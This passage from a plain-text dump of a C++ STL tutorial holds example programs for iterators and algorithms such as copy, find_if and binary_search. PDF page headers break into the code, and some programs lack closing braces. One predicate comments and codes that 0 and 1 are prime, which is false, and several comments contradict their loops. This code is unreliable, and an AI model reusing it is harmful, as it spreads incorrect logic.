cout<<endl;

insert_iterator< list < int> > Iter(lst, lst.begin());


*Iter = 12;
*Iter = 7;

file:///C|/Tutorial.txt (493 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

*Iter = 33;
*Iter = 24;

cout<<"\nOperation: Iter(lst, lst.begin()) then *Iter = 12...\n";


cout<<"After the insertions, the list lst data:\n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//istream_iterator, char_type and


//traits_type
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
typedef istream_iterator<int>::char_type chtype;
typedef istream_iterator<int>::traits_type tratype;

//Standard iterator interface for reading


//elements from the input stream...
cout<<"Enter integers separated by spaces & then\n"
<<" any character e.g.: '3 4 7 T': ";

//istream_iterator for reading int stream


istream_iterator<int, chtype, tratype> intread(cin);

//End-of-stream iterator
istream_iterator<int, chtype, tratype> EOFintread;

while(intread != EOFintread)
{
cout<<"Reading data: "<<*intread<<endl;
++intread;
}
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//istream_iterator, istream_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{

file:///C|/Tutorial.txt (494 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Used in conjunction with copy algorithm


//to put elements into a vector read from cin
vector<int> vec(5);
vector<int>::iterator Iter;

cout<<"Enter 5 integers separated by spaces & then\n"


<<" a character e.g: '4 6 2 7 11 R': ";
istream_iterator<int> intvecread(cin);

//Default constructor will test equal to end of stream


//for delimiting source range of vector
copy(intvecread, istream_iterator<int>(), vec.begin());
cin.clear();

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//istreambuf_iterator, char_type
#include <iterator>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;

int main()
{
typedef istreambuf_iterator<char>::char_type chatype;
typedef istreambuf_iterator<char>::traits_type tratype;

cout<<"Enter line of text, then press Return key to \n"


<<"insert into the output, & use a ctrl-Z Enter key\n"
<<"combination to exit: ";

//istreambuf_iterator for input stream


istreambuf_iterator< chatype, tratype> charInBuf(cin);
ostreambuf_iterator<char> charOut(cout);

//Used in conjunction with replace_copy algorithm


//to insert into output stream and replaces spaces
//with hash sign
replace_copy(charInBuf, istreambuf_iterator<char>(), charOut, ' ', '#');
return 0;
}

-----------------------------------------------------------------------------------------

//istreambuf_iterator, int_type
#include <iterator>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (495 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
cout<<"Operation: int_type intype = 77\n";
istreambuf_iterator<char>::int_type intype = 77;
cout<<"The int_type type = "<<intype<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//istreambuf_iterator, equal
#include <iterator>
#include <iostream>
using namespace std;

int main()
{
cout<<"\nOperation: bol = readchinpt1.equal(readchinpt2)\n";
cout<<"Enter a line of text then an Enter key to\n"
<<"insert into the output:\n";

istreambuf_iterator<char> readchinpt1(cin);
istreambuf_iterator<char> readchinpt2(cin);

bool bol = readchinpt1.equal(readchinpt2);


if(bol)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//istreambuf_iterator, istreambuf_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
istreambuf_iterator<char>::istream_type &istrm = cin;
istreambuf_iterator<char>::streambuf_type *strmbf = cin.rdbuf();

cout<<"Enter a line of text, then an Enter key to insert into\n"


<<"the output, (& use a ctrl-Z Enter key combination to exit):\n";

istreambuf_iterator<char> charReadIn(cin);
ostreambuf_iterator<char> charOut(cout);

//Used in conjunction with replace_copy algorithm


//to insert into output stream and replace spaces
//with hyphen-separators

file:///C|/Tutorial.txt (496 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

replace_copy(charReadIn, istreambuf_iterator<char>(), charOut, ' ', '-');


return 0;
}

-----------------------------------------------------------------------------------------

//istreambuf_iterator, operator++
#include <iterator>
#include <iostream>
using namespace std;

int main()
{
cout<<"Type a line of text & enter to output it, with stream\n"
<<"buffer iterators, repeat as many times as desired,\n"
<<"then keystroke ctrl-Z Enter to exit program: \n";

istreambuf_iterator<char> inpos(cin);
istreambuf_iterator<char> endpos;
ostreambuf_iterator<char> outpos(cout);

while(inpos != endpos)
{
*outpos = *inpos;
//Increment istreambuf_iterator
++inpos;
++outpos;
}
return 0;
}

-----------------------------------------------------------------------------------------

//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;

int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

cout<<"Operation: with and without delimiter...\n";


//Write elements to standard output stream
cout<<"Elements output without delimiter: ";

file:///C|/Tutorial.txt (497 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

copy(vec.begin(), vec.end(), ostream_iterator<int> (cout));


cout<<endl;

//Write elements with delimiter " " to output stream


cout<<"Elements output with delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout, " "));
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//ostream_iterator, operator=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
//with new line delimiter
ostream_iterator<int> intOut(cout, "\n");

//Standard iterator interface for writing


//elements to the output stream
cout<<"Elements written to output stream:\n";
*intOut = 12;
*intOut = 21;
//No effect on iterator position
intOut++;
*intOut = 9;
*intOut = 7;
return 0;
}

-----------------------------------------------------------------------------------------

//ostreambuf_iterator, ostreambuf_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
// ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);

*charOut = '7';
charOut ++;
*charOut = 'T';
charOut ++;
*charOut = 'W';
cout<<" are characters output."<<endl;

file:///C|/Tutorial.txt (498 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ostreambuf_iterator<char> strOut(cout);
string str = "These characters are being written to the output stream.\n ";
copy(str.begin(), str.end(), strOut);
return 0;
}

-----------------------------------------------------------------------------------------

//ostreambuf_iterator, failed()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);

*charOut = 'T';
charOut ++;
*charOut = '7';
charOut ++;
*charOut = 'R';
cout<<" are characters output"<<endl;

bool bol = charOut.failed();


if(bol)
cout<<"At least one insertion failed."<<endl;
else
cout<<"No insertions failed."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//reverse_iterator, operator[]
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=17; ++i)
vec.push_back(i);

cout<<"Normal....\n";
vector <int>::iterator vIter;
cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";

file:///C|/Tutorial.txt (499 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;

cout<<"\nReverse....\n";
vector <int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;

cout<<"\nFinding data, 15....\n";


cout<<"Operation: pos = find(vec.begin(), vec.end(), 15)\n";
vector <int>::iterator pos;
pos = find(vec.begin(), vec.end(), 15);

cout<<"The iterator pos points to: "<<*pos<<endl;


reverse_iterator<vector<int>::iterator> rpos(pos);

//Declare a difference type for a parameter


reverse_iterator<vector<int>::iterator>::difference_type diff = 3;

cout<<"\nOperation: rpos(pos)\n";
cout<<"The iterator rpos points to: "<<*rpos<<endl;

//Declare a reference return type & use operator[]


cout<<"\nOperation: refrpos = rpos[diff], where diff = 3\n";
reverse_iterator<vector<int>::iterator>::reference refrpos = rpos[diff];
cout<<"The iterator rpos now points to: "<<refrpos<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//reverse_iterator, pointer
#include <iterator>
#include <algorithm>
#include <vector>
#include <utility>
#include <iostream>
using namespace std;

int main()
{

typedef vector<pair<int, int> > pVector;


pVector vec;
vec.push_back(pVector::value_type(1, 2));
vec.push_back(pVector::value_type(3, 4));
vec.push_back(pVector::value_type(5, 6));

pVector::iterator pvIter;
cout<<"Operation: pvIter->first and pvIter->second\n";
cout<<"The vector vec of integer pairs is: \n";
for(pvIter = vec.begin(); pvIter != vec.end(); pvIter++)
cout<<pvIter->first<<", "<<pvIter->second<<endl;

pVector::reverse_iterator rpvIter;

file:///C|/Tutorial.txt (500 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: reverse rpvIter->first and rpvIter->second";


cout<<"\nThe vector vec reversed is: \n";
for(rpvIter = vec.rbegin(); rpvIter != vec.rend(); rpvIter++)
cout<<rpvIter->first<< ", " <<rpvIter->second<<endl;

cout<<"\nOperation: pos = vec.begin() then pos++...";


pVector::iterator pos = vec.begin();
pos++;
cout<<"\nThe iterator pos points to:\n"<<pos->first<< ", " <<pos->second<<endl;

cout<<"\nOperation: reverse, rpos(pos)";


pVector::reverse_iterator rpos(pos);
cout<<"\nThe iterator rpos points to:\n"<<rpos->first<< ", " <<rpos->second<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//reverse_iterator, base()
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector <int>::iterator vIter;


cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";
cout<<endl;

vector<int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;

cout<<"\nFinding data...";
cout<<"\nOperation: pos = find(vec.begin(), vec.end(), 13)\n";
vector <int>::iterator pos, bpos;
pos = find(vec.begin(), vec.end(), 13);
cout<<"The iterator pos points to: "<<*pos<<endl;

typedef reverse_iterator<vector<int>::iterator>::iterator_type it_vec_int_type;


cout<<"\nFinding data, reverse...\n";
cout<<"Operation: rpos(pos)\n";

reverse_iterator<it_vec_int_type> rpos(pos);

file:///C|/Tutorial.txt (501 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The reverse_iterator rpos points to: "<<*rpos<<endl;


bpos = rpos.base();
cout<<"The iterator underlying rpos is bpos & it points to: "<<*bpos<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);

cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;

//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));

cout<<"\nOperation: copy(lst.begin(), lst.end(), back_inserter(vec))\n";


cout<<"vec data: ";
for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//copy the elements of lst list into


//deq deque by inserting them at the front
//and reverses the order of the elements
deque<int> deq;
deque <int>::iterator deqIter;
copy(lst.begin(), lst.end(), front_inserter(deq));

cout<<"\nOperation: copy(lst.begin(), lst.end(), front_inserter(deq))\n";


cout<<"deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;

file:///C|/Tutorial.txt (502 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//copy elements of lst list into st set


//only inserter that works for associative collections
set<int> st;
set<int>::iterator stIter;
copy(lst.begin(), lst.end(), inserter(st, st.begin()));

cout<<"\nOperation: copy(lst.begin(), lst.end(), inserter(st, st.begin()))\n";


cout<<"set data: ";
for(stIter = st.begin(); stIter != st.end(); stIter++)
cout<<*stIter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//stream iterator
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;

int main()
{
vector<string> strvec;
vector <string>::iterator Iter;
//read from the standard input until EOF/error
//the EOF is platform dependent...
//then copy (inserting) to strvec vector...
//copy from begin to end of source, to destination

copy(istream_iterator<string>(cin), istream_iterator<string>(), back_inserter(strvec));

cout<<"\nstrvec data: ";


for(Iter = strvec.begin(); Iter != strvec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//do some sorting


sort(strvec.begin(), strvec.end());

cout<<"\nstrvec data: ";


for(Iter = strvec.begin(); Iter != strvec.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

//print all elements without duplicates to standard output


unique_copy(strvec.begin(), strvec.end(), ostream_iterator<string> (cout, "\n"));
return 0;
}

-----------------------------------------------------------------------------------------

//reverse iterator using


//rbegin() and rend()

file:///C|/Tutorial.txt (503 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);

//print all element in reverse order


copy(vec.rbegin(), vec.rend(), ostream_iterator<int> (cout," "));
cout<<endl;
return 0;
}

---------------------------------------G++--------------------------------------------------
//******ostreamiterator.cpp********
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;

int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

cout<<"Operation: with and without delimiter...\n";


//Write elements to standard output stream
cout<<"Elements output without delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout));
cout<<endl;

//Write elements with delimiter " " to output stream


cout<<"Elements output with delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout, " "));
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//*****insertiter.cpp******

file:///C|/Tutorial.txt (504 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);

cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;

//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));

cout<<"\nOperation: copy(lst.begin(), lst.end(), back_inserter(vec))\n";


cout<<"vec data: ";
for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//copy the elements of lst list into


//deq deque by inserting them at the front
//and reverses the order of the elements
deque<int> deq;
deque <int>::iterator deqIter;
copy(lst.begin(), lst.end(), front_inserter(deq));

cout<<"\nOperation: copy(lst.begin(), lst.end(), front_inserter(deq))\n";


cout<<"deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;

//copy elements of lst list into st set


//only inserter that works for associative collections
set<int> st;
set<int>::iterator stIter;
copy(lst.begin(), lst.end(), inserter(st, st.begin()));

cout<<"\nOperation: copy(lst.begin(), lst.end(), inserter(st, st.begin()))\n";


cout<<"set data: ";

file:///C|/Tutorial.txt (505 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(stIter = st.begin(); stIter != st.end(); stIter++)


cout<<*stIter<<" ";
cout<<endl;
return 0;
}

============================MODULE33=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================

file:///C|/Tutorial.txt (506 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

============================HERE, ALL C++ codes==========================

//simple algorithm example


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

int main()
{
//declare a vector and the iterator
vector<int> vec;
vector<int>::iterator pos;

//insert elements from 1 to 6 in arbitrary order


vec.push_back(7);
vec.push_back(4);
vec.push_back(8);
vec.push_back(0);
vec.push_back(12);
vec.push_back(9);

//print the vector...


cout<<"The original vector: ";
for(pos = vec.begin(); pos != vec.end(); pos++)
cout<<*pos<< " ";
cout<<endl;

//find and print minimum and maximum elements


pos = min_element(vec.begin(), vec.end());
cout<<"\nThe minimum element's value: "<<*pos<<endl;

pos = max_element(vec.begin(), vec.end());


cout<<"\nThe maximum element's value: "<<*pos<<endl<<endl;

//sort algorithm, sort all elements


sort(vec.begin(), vec.end());

//print the vector...


cout<<"The sorted vector: ";
for(pos = vec.begin(); pos != vec.end(); pos++)
cout<<*pos<< " ";
cout<<endl<<endl;

cout<<"Find value of 8, then reverse the order: ";


//find algorithm, find the first element with value 8
pos = find(vec.begin(), vec.end(), 8);

//reverse algorithm, reverse the order of the


//found element with value 8 and all the following elements
reverse(pos, vec.end());

//print all elements


for(pos=vec.begin(); pos!=vec.end(); ++pos)
cout<<*pos<<' ';
cout << endl;

file:///C|/Tutorial.txt (507 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------

//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;

//insert elements from 1 to 10


for(int i=1; i<=10; ++i)
lst1.push_back(i);

//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;

//resize destination to have enough


//room for the overwriting algorithm
vec1.resize(lst1.size());

//copy elements from first into second collection


//overwrites existing elements in destination
copy(lst1.begin(), lst1.end(), //source
vec1.begin()); //destination

cout<<"\nThe vector vec1 data: ";


for(pos1=vec1.begin(); pos1!=vec1.end(); pos1++)
cout<<*pos1<<" ";
cout<<endl;

//create third collection with enough allocation


//initial size is passed as parameter
deque<int> deq1(lst1.size());
deque<int>::iterator pos2;

//copy elements from first into third collection


copy(lst1.begin(), lst1.end(), //source
deq1.begin()); //destination

cout<<"\nThe deque deq1 data: ";


for(pos2=deq1.begin(); pos2!=deq1.end(); pos2++)
cout<<*pos2<<" ";
cout<<endl;

file:///C|/Tutorial.txt (508 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------

//Algorithm, simple example


#include <iostream>
#include <list>
#include <algorithm>
//for abs()
#include <cstdlib>
using namespace std;

//predicate, which returns whether an integer is a prime number


bool isPrimeNum(int number)
{
//ignore negative sign
number = abs(number);

//0 and 1 are prime numbers


if(number == 0 || number == 1)
{
return true;
}

//find divisor that divides without a remainder


int divisor;
for(divisor = (number/2); (number%divisor) != 0; --divisor)
{;}

//if no divisor greater than 1 is found, it is a prime number


return divisor == 1;
}

int main()
{
list<int> lst1;

//insert elements from 24 to 30


for(int i=10; i<=20; ++i)
lst1.push_back(i);

//search for prime number


list<int>::iterator pos;

cout<<"The list lst1 data:\n";


for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl<<endl;

pos = find_if(lst1.begin(), lst1.end(), //range


isPrimeNum); //predicate

if(pos != lst1.end())
{
//found
cout<<*pos<<" is the first prime number found"<<endl;

file:///C|/Tutorial.txt (509 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
else {
//not found
cout<<"no prime number found"<<endl;
}
}

----------------------------------------G++----------------------------------------------

//********algo.cpp*********
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;

//insert elements from 1 to 10


for(int i=1; i<=10; ++i)
lst1.push_back(i);

//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;

//resize destination to have enough


//room for the overwriting algorithm
vec1.resize(lst1.size());

//copy elements from first into second collection


//overwrites existing elements in destination
copy(lst1.begin(), lst1.end(), //source
vec1.begin()); //destination

cout<<"\nThe vector vec1 data: ";


for(pos1=vec1.begin(); pos1!=vec1.end(); pos1++)
cout<<*pos1<<" ";
cout<<endl;

//create third collection with enough allocation


//initial size is passed as parameter
deque<int> deq1(lst1.size());
deque<int>::iterator pos2;

//copy elements from first into third collection


copy(lst1.begin(), lst1.end(), //source

file:///C|/Tutorial.txt (510 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

deq1.begin()); //destination

cout<<"\nThe deque deq1 data: ";


for(pos2=deq1.begin(); pos2!=deq1.end(); pos2++)
cout<<*pos2<<" ";
cout<<endl;
}

============================MODULE34=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get

file:///C|/Tutorial.txt (511 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

the big picture...For C codes, they still C codes :o)


=========================================================================
============================HERE, ALL C++ codes==========================

//algoritm, adjacent_find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Returns whether second element is twice the first


bool twice(int elem1, int elem2)
{return (elem1 * 2 == elem2);}

int main()
{
list<int> lst;
list<int>::iterator Iter;
list<int>::iterator result1, result2;
lst.push_back(14);
lst.push_back(17);
lst.push_back(31);
lst.push_back(31);
lst.push_back(10);
lst.push_back(20);

cout << "List lst data: ";


for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<< " ";
cout<<endl<<endl;

result1 = adjacent_find(lst.begin(), lst.end());


if(result1 == lst.end())
cout<<"There are not two adjacent elements that are equal."<<endl;
else
cout<<"There are two adjacent elements that are equal."
<<"\nThey have a value of "<<*(result1)<<endl;

result2 = adjacent_find(lst.begin(), lst.end(), twice);


if(result2 == lst.end())
cout<<"\nThere are no two adjacent elements where the "
<<"second is twice the first."<<endl;
else
{cout<<"\nThere are two adjacent elements\nwhere "
<<"the second is twice the first."
<<"\nThey have values of "<<*(result2++);
cout<<" & "<<*result2<<endl;}
return 0;
}

------------------------------------------------------------------------------------------------

//algorithm, binary_search()
#include <list>
#include <vector>
#include <algorithm>

file:///C|/Tutorial.txt (512 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
list<int> lst;
list<int>::iterator Iter;
bool b1, b2;

lst.push_back(13);
lst.push_back(23);
lst.push_back(10);
lst.push_back(33);
lst.push_back(35);
lst.push_back(9);

lst.sort();
cout<<"List lst data: ";
for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

b1 = binary_search(lst.begin(), lst.end(), 10);


if(b1)
cout<<"\nThere is an element in list lst with\na value equal to 10."<<endl;
else
cout<<"\nThere is no element in list lst with\na value equal to 10."<<endl;

b2 = binary_search(lst.begin(), lst.end(), 13, greater<int>());


if(b2)
cout<<"\nThere is an element in list lst with a\nvalue equivalent to 13 "
<<"under greater than."<<endl;
else
cout<<"\nNo element in list lst with a\nvalue equivalent to 13 "
<<"under greater than."<<endl;

//a binary_search under the user-defined binary predicate mod_lesser


vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = -3; i <= 5; i++)
vec.push_back(i);

sort(vec.begin(), vec.end(), mod_lesser);

cout<<"\nOrdered under mod_lesser, vector vec data:\n";

file:///C|/Tutorial.txt (513 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)


cout<<*Iter1<<" ";
cout<<endl;

bool b3 = binary_search(vec.begin(), vec.end(), -2, mod_lesser);


if(b3)
cout<<"\nThere is an element with a value\nequivalent to -2 "
<<"under mod_lesser()."<<endl;
else
cout<<"\nThere is no element with a value\nequivalent to -2 "
<<"under mod_lesser()."<<endl;
return 0;
}

------------------------------------------------------------------------------------------------

//algoritm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);

int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the left
copy(vec2.begin()+4, vec2.begin() + 7, vec2.begin() + 2);

file:///C|/Tutorial.txt (514 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------

//algorithm, copy_backward()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 10; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To copy_backward the first 4 elements of vec1 into the middle of vec2
copy_backward(vec1.begin(), vec1.begin() + 4, vec2.begin() + 8);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the right
copy_backward(vec2.begin()+4, vec2.begin()+7, vec2.begin()+9);

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;

